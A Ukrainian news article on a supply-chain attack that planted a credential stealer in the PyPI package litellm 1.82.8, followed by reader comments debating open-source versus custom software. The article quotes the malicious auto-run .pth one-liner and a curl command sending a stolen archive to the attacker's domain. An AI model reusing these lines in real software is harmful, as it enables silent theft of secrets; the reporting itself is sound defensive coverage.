Хакери вбудували викрадач паролів у популярну Python-бібліотеку litellm

💡 Усі статті, обговорення, новини про Python — в одному місці. Приєднуйтесь до Python спільноти!

Вчора стало відомо, що хакерам вдалося проникнути в офіційний репозиторій PyPi та підмінити надзвичайно популярну бібліотеку litellm, яку завантажують близько 97 мільйонів разів на місяць.

У версію 1.82.8 було вбудовано шкідливий код, здатний викрасти практично всі критично важливі дані з комп’ютера чи сервера жертви. Це може бути що завгодно: ключі SSH, облікові дані AWS/GCP/Azure, конфігурації Kubernetes, облікові дані git, змінні середовища, усі ваші API-ключі, історії оболонки, паролі криптогаманців, приватні ключі SSL, секрети CI/CD та паролі до баз даних.

Найгірше те, що зараження поширювалося на будь-який проєкт, який залежав від litellm. Наприклад, якби ви виконали pip install dspy (який залежав від litellm>=1.64.0), вас би теж зламали. Те саме стосується будь-якого іншого великого проєкту, який залежав від litellm.

Дослідники безпеки, які запідозрили неладне, не стали встановлювати пакет у систему, а просто завантажили його архів для аналізу. Використавши короткий скрипт на Python, вони знайшли в структурі пакета сторонній файл з розширенням .pth:

python3 -c "import zipfile, os
whl = '/tmp/check/' + [f for f in os.listdir('/tmp/check') if f.endswith('.whl')][0]
with zipfile.ZipFile(whl) as z:
    pth = [n for n in z.namelist() if n.endswith('.pth')]
    print('PTH files:', pth)
    for p in pth:
        print(z.read(p)[:300])"

І саме файл litellm_init.pth і був пасткою. Він використовував особливість Python автоматично виконувати певний код при запуску інтерпретатора. Хакерам навіть не знадобилося чекати, поки ви імпортуєте бібліотеку у свій проєкт, бо шкідливий процес запускався у фоновому режимі одразу після встановлення або запуску будь-якого Python-скрипта в цьому середовищі. Всередині файлу ховався лише один, але критично небезпечний рядок:

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"])

Вся підступність атаки була якраз в фрагменті декодування. Замість трьох крапок там був величезний масив тексту, двічі зашифрований за допомогою base64, щоб обійти автоматичні сканери безпеки на PyPI. Розшифрувавшись, вірус миттєво збирав усі знайдені ключі, паролі та токени, шифрував їх за допомогою AES-256 і пакував у архів. А далі дані відправлялися на сервер зловмисників.

curl -s -o /dev/null -X POST \
  "https://models.litellm.cloud/" \
  -H "Content-Type: application/octet-stream" \
  -H "X-Filename: tpcp.tar.gz" \
  --data-binary @tpcp.tar.gz

Для цього хакери зареєстрували домен models.litellm[dot]cloud. Офіційний сайт проєкту має закінчення .ai, але підроблена адреса виглядала настільки правдоподібно, що під час поверхневого аналізу мережевого трафіку здавалося, ніби бібліотека просто завантажує якісь мовні моделі з хмари.

Цей інцидент міг би тривати тижнями і призвести до страшніших наслідків, якби не одна щаслива випадковість. Заражена версія провисіла у відкритому доступі недовго завдяки банальній недбалості самого нападника.

Скрипт був написаний нашвидкуруч і зовсім не оптимізований. Коли один із розробників працював у редакторі коду Cursor, програма у фоновому режимі підтягнула оновлення litellm як транзитивну залежність. Щойно вірус запустився, він почав настільки неконтрольовано споживати оперативну пам’ять, що комп’ютер намертво завис. Саме цей неочікуваний збій привернув увагу фахівців, дозволивши миттєво знайти проблему та видалити вірус з репозиторію. Якби вірус працював трохи інакше, то наслідки могли б бути значно гіршими.

Але хоча пакет був доступний і недовго, його встигли завантажити від 20 до 80 тисяч разів, якщо не більше.

Андрей Карпати у себе в Х навіть прокоментував цю ситуацію, назвавши «Програмним кошмаром».

👍ПодобаєтьсяСподобалось10
До обраногоВ обраному0
LinkedIn
Дозволені теги: blockquote, a, pre, code, ul, ol, li, b, i, del.
Ctrl + Enter
Дозволені теги: blockquote, a, pre, code, ul, ol, li, b, i, del.
Ctrl + Enter

Мораль сказочки такая: прочувствуйте разницу между «всеобщим» софтом (тем более открытым) и авторским кастомным.

Популярный открытый софт
Плюсы:

  • Бесплатный
  • Легкодоступный
  • Универсальный, под многие задачи сразу
  • Единый стандарт, единый API на множестве разных проектов, из чего следует пункт ниже
  • Выгода для работодателей: для определения пригодности достаточно узнать, «умеешь ли ты в этот софт»; притирка к новому рабочему месту минимальная; ценность конкретного работника тоже минимальная, в любую секунду по любому поводу эту стандартную гайку под зад коленом, а за забором таких же точно очередь до горизонта, остаётся только бонусом для себя устраивать среди них голодные игры и конкурсы на софт-скилы
  • Да и вообще такую шаблонную работу уже нейронки почти без ошибок штампуют в сотни раз быстрее
Минусы:
  • «Универсальный» — это мультитул, который состоит из множества штучек, ни одна из которых не сравнится по эффективности и удобству с дискретным ножом, отвёрткой, вилкой... Плата за универсальность — накладные расходы на все остальные штучки, которые тебе не нужны здесь, но тащить придётся.
  • Чужой софт — это внешние зависимости, то есть непредсказуемый риск прекращения поддержки, потери совместимости и плавно переходим к следующему пункту
  • А именно как раз к теме статьи. Всеобщий софт — всеобщее внимание, большое число тех, кто захочет (и сможет) попробовать его на зуб, чему как раз очередной живой пример. И если частный пешеход получит от этого в среднем просто плохое настроение, то тот самый работодатель может запросто полинять на существенное бабло или вообще вылететь в трубу.

Авторский софт
Плюсы:

  • Специализация. Заточенный под определённый круг задач код всегда значительно эффективнее и одновременно экономичнее
  • Автономность, минимум зависимостей
  • Нестандартность и закрытость. Прежде чем «это» ломать, придётся нормально изогнуться, чтобы понять, как «это» вообще работает. Да и внимание всего мира на изделии не сфокусировано, потенциальных вредителей меньше на четыре-пять порядков. При этом сначала хорошо бы до исходного кода добраться.
  • Плюс для сотрудника: он либо труднозаменим, либо уникален. Лучше него или даже наравне код, написанный лично им, сопровождать вряд ли кто сможет. Это кошмарный сон работодателя, «обожемой, придётся считаться с ВОТ ЭТИМ, а как же корпоративный уклад, дресс-код и софт-скилы...»
Минусы:
  • Завтра на разработчика упадёт балкон — всё. Не «вообще всё», но ощутимые проблемы точно возникнут.
  • А ещё это слооооожно))) Тут умения вставить правильные ключевые слова в резюме, подлизаться к HR и уверенно трещать на сленге недостаточно, тут шарить надо. Зато хорошие вещи дёшево не стоят, как говорил Рокфеллер.
Автономность, минимум зависимостей
Нестандартность и закрытость. Прежде чем «это» ломать, придётся нормально изогнуться, чтобы понять, как «это» вообще работает. Да и внимание всего мира на изделии не сфокусировано, потенциальных вредителей меньше на четыре-пять порядков. При этом сначала хорошо бы до исходного кода добраться.

Ну ось закритий Me.Doc також зламали через supply-chain attack у 2017 році.

en.wikipedia.org/...​kraine_ransomware_attacks

закрийтий код ≠ минимум зависимостей

придётся нормально изогнуться, чтобы понять, как «это» вообще работает

Reverse engineering — це одна з топ-кваліфікацій зловмисників.

Reverse engineering — це одна з топ-кваліфікацій зловмисників.

Естествено, а что им, бедным, остаётся. А теперь следим за руками, что проще, быстрее и дешевле: взломать софт, исходники которого у всех на виду, а результат взлома затронет сразу миллионы, или взломать софт, скомпилированный в бинарник? Что более вероятно: что ломанут open-source код, которым пользуются миллионы и все кишки на виду у этих миллионов или что ломанут софт, которым пользуется единственная контора, которая НЕ пострадала от взлома «популярной библиотеки»?

Ну ось закритий Me.Doc також зламали через supply-chain attack у 2017 році.

У-у-у, как всё запущено... Самое начало моего поста:

прочувствуйте разницу между «всеобщим» софтом (ТЕМ БОЛЕЕ ОТКРЫТЫМ...)

Что сказать-то хотели вообще? Что я прав? Я и так знаю, что я прав)))

Ну то продовжуйте користуватися пітоном й його лайно-екосистемой написаною так наче її школяри\студенти на лабі писали. теж саме з npm — діра з точки зору безпеки

Справа не в конкретній мові, а в тому, що зараз supply-chain атаки стали справжнім викликом для всіх екосистем без винятку. Це вже не питання «кривого коду», а питання величезного масштабу сучасного софту.
Нещодавня історія з xz backdoor у Linux показала, що навіть низькорівневі інструменти, які роками перевіряються, не застраховані від професійних атак на ланцюжок постачання.
Хоча дійсно у python та js просто колосальна кількість пакетів. Що ширша екосистема, то більшим стає вектор атаки.

socket.dev/...​github-actions-compromise

Що, тепер GitHub Actions та bash-скриптами не користуватися?

Та й ви не написали: а чим тоді треба користуватися?

Загалом, у всіх продуктах бувають вразливості. Навіть у дуже дуже відомих продуктах. І навіть дуже круті компанії не знаходять всі вразливості. Деякі вразливості знаходять завдяки випадку.

Але, якщо продуктом користується мало людей, то низька імовірність, що такий продукт буде цікавим для зловмисників.
Або ж, вразливість буде, але про це довго не будуть знати.

Так, деякі репозиторії більше вразливі ніж інші, by design. Більші ризики.

Але люди вже не відмовляться від Python та npm. Та і від GitHub.

Ви можете закачати собі IDE, та якийсь відомий плагін, а воно в свою чергу може підпасти під supply chain attack, і Ваша локальна машина буде інфікована, включно з витоком секретів.
Зазвичай, хто про таке думає? Тут повинна бути певна політика безпеки на проекті. Нівелювання ризиків має свою ціну.

Далі, імовірно, буде гірше... бо є AI.

А взагалі, так, те, ще відбувається з supply chain attack, ці масштаби, дещо лякає, і виникають питання, чому взагалі ці інфраструктури так слабко захищені

«Сто шагов в ЕРАТ» ще не зламали? Ну слава б-гу 😂

Підписатись на коментарі